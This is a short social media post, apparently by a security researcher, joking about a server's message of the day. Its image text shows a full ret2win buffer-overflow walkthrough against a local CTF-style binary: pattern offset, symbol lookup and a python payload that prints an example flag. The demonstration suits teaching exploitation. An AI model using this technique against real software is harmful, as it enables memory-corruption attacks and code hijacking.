Logged into a server to verify #php2shell fix and was greeted by a very ominous, albeit appropriate MOTD.
Kirils @#hacklu
@k.chaos.social.ap.brid.gy
2 followers 0 following 96 posts
🌉 bridged from ⁂ chaos.social/@k, follow @ap.brid.gy to interact
![user@host /ramdisk $ ./vuln
what is your name?
hello
user@host /ramdisk $ pattern 100
Pattern: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
user@host /ramdisk $ ./vuln
what is your name?
Pattern: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Segmentation fault (core dumped)
user@host /ramdisk $ dmesg|tail -2
[10488.030469] vuln[16852]: segfault at 41386141 ip 0000000041386141 sp 00000000ff871c80 error 14 likely on CPU 14 (core 7, socket 0)
[10488.030486] Code: Unable to access opcode bytes at 0x41386117.
user@host /ramdisk $ pattern 0x41386141
Found at offset: 24
user@host /ramdisk $ objdump -t vuln|grep -e win -e flag
00000000 1 df *ABS* 00000000 ret2win-std.c
0804060 g 0 .bss 00000064 flagstring
0804921f g F .text 0000001e flag
user@host /ramdisk $ python2.7 -c 'print "A"*24+"\x1f\x92\x04\x08"' | ./vuln
what is your name?
Cookie: ECSC{example flag}
Segmentation fault (core dumped)](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:stvyefovtmtftbnfuhlf6tyi/bafkreifosalmllifo5ouseuvxyklxqraxavxkezv4yl4kzhewexdjtoeaq)
